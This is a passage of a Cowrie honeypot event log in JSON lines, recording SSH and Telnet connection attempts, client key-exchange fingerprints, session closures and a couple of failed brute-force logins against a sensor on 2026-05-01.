{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:26.266382Z","src_ip":"213.209.159.159","session":"24b7c233e0c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.253998756408691,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:27.107699Z","src_ip":"159.203.13.64","session":"53b2dc5b8ab2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48938,"dst_ip":"159.203.135.109","dst_port":22,"session":"5692209fa479","protocol":"ssh","message":"New connection: 159.203.92.129:48938 (159.203.135.109:22) [session: 5692209fa479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:27.122550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:27.125817Z","src_ip":"159.203.92.129","session":"5692209fa479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:27.130479Z","src_ip":"159.203.92.129","session":"5692209fa479","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"all","password":"all123","message":"login attempt [all/all123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:27.141577Z","src_ip":"159.203.92.129","session":"5692209fa479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.49293518066406,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:27.872356Z","src_ip":"159.203.13.64","session":"4c670dfb5eb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.226192474365234,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:28.055077Z","src_ip":"159.203.13.64","session":"120d37d86d9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:28.149308Z","src_ip":"159.203.92.129","session":"5692209fa479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":57380,"dst_ip":"10.17.0.5","dst_port":23,"session":"565705505d79","protocol":"telnet","message":"New connection: 159.203.13.64:57380 (10.17.0.5:23) [session: 565705505d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:28.218564Z"}
{"eventid":"cowrie.session.closed","duration":39.36910605430603,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:28.942592Z","src_ip":"159.203.13.64","session":"04ce2bcff630","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.236539125442505,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:28.953331Z","src_ip":"159.203.13.64","session":"537820fc38aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.660468101501465,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:30.395116Z","src_ip":"159.203.13.64","session":"964f4ea6a2b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.73035216331482,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:31.677028Z","src_ip":"159.203.13.64","session":"a908037e7ecc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.60516667366028,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:32.346277Z","src_ip":"159.203.13.64","session":"5faa5a3dd680","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40336,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1520939ab41","protocol":"telnet","message":"New connection: 159.203.13.64:40336 (10.17.0.5:23) [session: a1520939ab41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:33.736376Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40344,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8b0665a69e3","protocol":"telnet","message":"New connection: 159.203.13.64:40344 (10.17.0.5:23) [session: c8b0665a69e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:34.497565Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":58258,"dst_ip":"159.203.135.109","dst_port":23,"session":"46cd101f2fba","protocol":"telnet","message":"New connection: 80.252.221.197:58258 (159.203.135.109:23) [session: 46cd101f2fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:34.837243Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":58262,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9db1788d242","protocol":"telnet","message":"New connection: 80.252.221.197:58262 (159.203.135.109:23) [session: b9db1788d242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:34.871037Z"}
{"eventid":"cowrie.session.closed","duration":35.713491439819336,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:36.084689Z","src_ip":"159.203.13.64","session":"df3ac7166b6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40350,"dst_ip":"10.17.0.5","dst_port":23,"session":"51a0c4905e6b","protocol":"telnet","message":"New connection: 159.203.13.64:40350 (10.17.0.5:23) [session: 51a0c4905e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:37.097389Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40358,"dst_ip":"10.17.0.5","dst_port":23,"session":"878de202a419","protocol":"telnet","message":"New connection: 159.203.13.64:40358 (10.17.0.5:23) [session: 878de202a419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:37.248005Z"}
{"eventid":"cowrie.session.closed","duration":34.57755184173584,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:38.214128Z","src_ip":"159.203.13.64","session":"06f821599e2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.01546907424927,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:38.548246Z","src_ip":"80.252.221.197","session":"d1e83490bd2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.37208318710327,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:38.595506Z","src_ip":"159.203.13.64","session":"f1463bf5c9e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.87315487861633,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:40.300641Z","src_ip":"80.252.221.197","session":"51e25bead078","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40364,"dst_ip":"10.17.0.5","dst_port":23,"session":"8663c249cfd3","protocol":"telnet","message":"New connection: 159.203.13.64:40364 (10.17.0.5:23) [session: 8663c249cfd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:40.465136Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33392,"dst_ip":"10.17.0.5","dst_port":23,"session":"981927097daa","protocol":"telnet","message":"New connection: 159.203.13.64:33392 (10.17.0.5:23) [session: 981927097daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:40.971425Z"}
{"eventid":"cowrie.session.closed","duration":41.33687782287598,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:41.323365Z","src_ip":"159.203.13.64","session":"31388be634f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.97402572631836,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:41.737666Z","src_ip":"80.252.221.197","session":"8f099f6fa31f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.747477293014526,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:41.854518Z","src_ip":"159.203.13.64","session":"657647f8ef9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33402,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4e8195246bf","protocol":"telnet","message":"New connection: 159.203.13.64:33402 (10.17.0.5:23) [session: f4e8195246bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:42.288056Z"}
{"eventid":"cowrie.session.closed","duration":34.69940376281738,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:43.070718Z","src_ip":"80.252.221.197","session":"fecad1a17870","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.57300806045532,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:44.591386Z","src_ip":"159.203.13.64","session":"2457801b837d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.56533122062683,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:44.659995Z","src_ip":"159.203.13.64","session":"1b8d9192a42a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33410,"dst_ip":"10.17.0.5","dst_port":23,"session":"296b0c48c10f","protocol":"telnet","message":"New connection: 159.203.13.64:33410 (10.17.0.5:23) [session: 296b0c48c10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:45.916215Z"}
{"eventid":"cowrie.session.closed","duration":35.24339294433594,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:46.197392Z","src_ip":"159.203.13.64","session":"dc15adafb992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.36986947059631,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:46.696970Z","src_ip":"159.203.13.64","session":"0b9b0cc9756e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.26944065093994,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:48.701839Z","src_ip":"159.203.13.64","session":"aabf516ac440","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.07257103919983,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:48.706296Z","src_ip":"159.203.13.64","session":"f28ee9b69a7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44034,"dst_ip":"10.17.0.5","dst_port":23,"session":"d47d1925723c","protocol":"telnet","message":"New connection: 159.203.13.64:44034 (10.17.0.5:23) [session: d47d1925723c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:52.215659Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44042,"dst_ip":"10.17.0.5","dst_port":23,"session":"e141d616826d","protocol":"telnet","message":"New connection: 159.203.13.64:44042 (10.17.0.5:23) [session: e141d616826d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:52.289727Z"}
{"eventid":"cowrie.session.closed","duration":40.39905595779419,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:53.434225Z","src_ip":"159.203.13.64","session":"490d38fbfdc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44056,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7faeca6e658","protocol":"telnet","message":"New connection: 159.203.13.64:44056 (10.17.0.5:23) [session: a7faeca6e658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:53.713329Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44064,"dst_ip":"10.17.0.5","dst_port":23,"session":"98acfbb8da60","protocol":"telnet","message":"New connection: 159.203.13.64:44064 (10.17.0.5:23) [session: 98acfbb8da60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:56.142515Z"}
{"eventid":"cowrie.session.closed","duration":36.28548455238342,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:57.957694Z","src_ip":"80.252.221.197","session":"48c291a8ae74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44072,"dst_ip":"10.17.0.5","dst_port":23,"session":"54ef6b55d470","protocol":"telnet","message":"New connection: 159.203.13.64:44072 (10.17.0.5:23) [session: 54ef6b55d470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:49:59.651762Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44080,"dst_ip":"10.17.0.5","dst_port":23,"session":"d36cd84b8dd4","protocol":"telnet","message":"New connection: 159.203.13.64:44080 (10.17.0.5:23) [session: d36cd84b8dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:00.106138Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44090,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b741cd6a7bb","protocol":"telnet","message":"New connection: 159.203.13.64:44090 (10.17.0.5:23) [session: 3b741cd6a7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:00.703156Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55268,"dst_ip":"10.17.0.5","dst_port":23,"session":"80d06de5d5df","protocol":"telnet","message":"New connection: 159.203.13.64:55268 (10.17.0.5:23) [session: 80d06de5d5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:03.675630Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55284,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae2eafc90ae1","protocol":"telnet","message":"New connection: 159.203.13.64:55284 (10.17.0.5:23) [session: ae2eafc90ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:04.230281Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":43296,"dst_ip":"159.203.135.109","dst_port":22,"session":"77a1580f033e","protocol":"ssh","message":"New connection: 186.13.24.118:43296 (159.203.135.109:22) [session: 77a1580f033e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:04.624413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:04.629573Z","src_ip":"186.13.24.118","session":"77a1580f033e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:04.789351Z","src_ip":"186.13.24.118","session":"77a1580f033e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu2019","message":"login attempt [ubuntu/ubuntu2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:05.460133Z","src_ip":"186.13.24.118","session":"77a1580f033e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:06.619427Z","src_ip":"186.13.24.118","session":"77a1580f033e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55290,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c513f183330","protocol":"telnet","message":"New connection: 159.203.13.64:55290 (10.17.0.5:23) [session: 6c513f183330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:08.416384Z"}
{"eventid":"cowrie.session.closed","duration":41.37456655502319,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:09.592992Z","src_ip":"159.203.13.64","session":"565705505d79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":38988,"dst_ip":"159.203.135.109","dst_port":23,"session":"186a15be0094","protocol":"telnet","message":"New connection: 80.252.221.197:38988 (159.203.135.109:23) [session: 186a15be0094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:09.998128Z"}
{"eventid":"cowrie.session.closed","duration":47.231653451919556,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:10.540759Z","src_ip":"159.203.13.64","session":"bc913fb9d40a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.74942398071289,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:10.586535Z","src_ip":"80.252.221.197","session":"46cd101f2fba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.166887283325195,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:12.037693Z","src_ip":"80.252.221.197","session":"b9db1788d242","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54104,"dst_ip":"10.17.0.5","dst_port":23,"session":"761dbbbdd65a","protocol":"telnet","message":"New connection: 159.203.13.64:54104 (10.17.0.5:23) [session: 761dbbbdd65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:13.817559Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53048,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe23e542e1e2","protocol":"ssh","message":"New connection: 159.203.92.129:53048 (159.203.135.109:22) [session: fe23e542e1e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:14.088645Z"}
{"eventid":"cowrie.session.closed","duration":40.35764670372009,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:14.093861Z","src_ip":"159.203.13.64","session":"a1520939ab41","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:14.148568Z","src_ip":"159.203.92.129","session":"fe23e542e1e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","h